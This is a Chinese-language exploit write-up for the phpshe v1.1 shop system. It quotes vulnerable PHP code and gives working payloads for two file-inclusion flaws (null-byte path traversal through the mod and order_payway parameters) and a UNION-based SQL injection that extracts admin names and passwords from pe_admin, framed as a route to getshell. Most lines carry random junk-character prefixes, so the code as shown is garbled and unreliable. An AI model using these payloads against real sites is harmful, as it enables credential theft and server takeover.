phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
# v" i1 x2 L7 N5 D  m6 [/* ========================
5 |2 {2 O) f* m/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输



& c' q! j' p+ L//common.php
if (get_magic_quotes_gpc()) {
* A3 t' P" j# D( @( P. s8 ?1 Z) Y!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 @7 W+ o( U3 w5 e5 h!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
. R. g5 [) ^/ |: F/ yelse {
" a( W6 W7 ?$ V, C  ^/ D!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
! N1 L8 A1 B7 B# H% k!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
" K. U8 e0 d& Z$ M8 C* E}
6 X: N% b" E! \2 X$ c% ~; E( Q+ Fsession_start();
/ D4 `- r% ~9 ~2 ~. ^!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
; I5 Y7 D/ d6 O( q!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
7 [  x/ y4 D; x  G* ~2 D- ?pe_result();
" G% g! t) b+ b?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
) X% P+ f, p& w1 s. Q$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
. c% n. ^& U% O6 m" F& ^$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
) ^: i, n' o- r" W( Y7 j- ?- p//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

<code id="code2">

//product.php文件
9 y9 N# Q$ e; s! q, L! t9 A& Ccase 'list':
4 v" C) E' f: m) D5 S; ]6 Z$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
6 }# U' d# f/ q2 M' oif ($category_id) {
/ h; ~  j+ V# L* d7 b7 wwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' y4 H5 ^: ?- y  F0 [! Bif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
+ @7 x7 Q- ^1 |$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
2 n' a# x: U( ]$ O4 F}
' u$ Z5 v# X9 a3 d5 jelse {
- N+ e5 k3 {3 X) D& M$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
: l* Z/ C0 U" I- X8 d1 d" Q$nowpath = category_path($category_id);
; M% b2 q6 Y9 D( ^$seo = pe_seo($info['category_name']);
6 J1 _5 f4 N4 einclude(pe_tpl('product_list.html'));
: C. D7 y) J* l! {6 p//跟进selectall函数库
1 {# ]. D8 l2 |% z/ {( h" k- i6 y1 upublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 Q- R( {! Q* w3 ^! x; K5 J0 b{
//处理条件语句
4 G  W+ Q7 B9 m: M9 T4 @6 S% E  s$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
2 s: |, d# ?. ^, w. R& E2 F0 t. w}
//exp
4 D  L& b# I& gproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
2 C$ ?7 U; D, l* `7 t* F

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

8 r0 B; _% p/ X& }8 |7 H) ~* I$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

. a& f! L7 g( _foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

  |# n6 T) c& j5 ?) k$ i6 vif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

5 M: S) J4 {4 }) S4 Y}

0 ~9 @0 u9 K) ^: O% p( E; `$ w}

4 K0 C1 K4 M0 v4 O/ h$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

" N8 @! }" ^% \) t- tif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

1 U2 ?6 |9 g% n. E0 Yforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

3 Q6 `6 Y! \2 t' Y, e( {2 k( Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- H+ c4 }9 S2 ]& ?6 G0 S1 Z}//当一切准备好的时候就可以进行"鸡肋包含了"

" O( N! L8 M1 k3 }, q3 D1 U. helse {

  `2 _3 E2 \, d5 r4 X4 Rpe_error('支付错误...');

% ^1 H4 q: w, W4 ~* R}

}

$seo = pe_seo('选择支付方式');

: j) z0 n: M- I8 L/ o* Vinclude(pe_tpl('order_pay.html'));

" G; r- }6 N( m$ ?break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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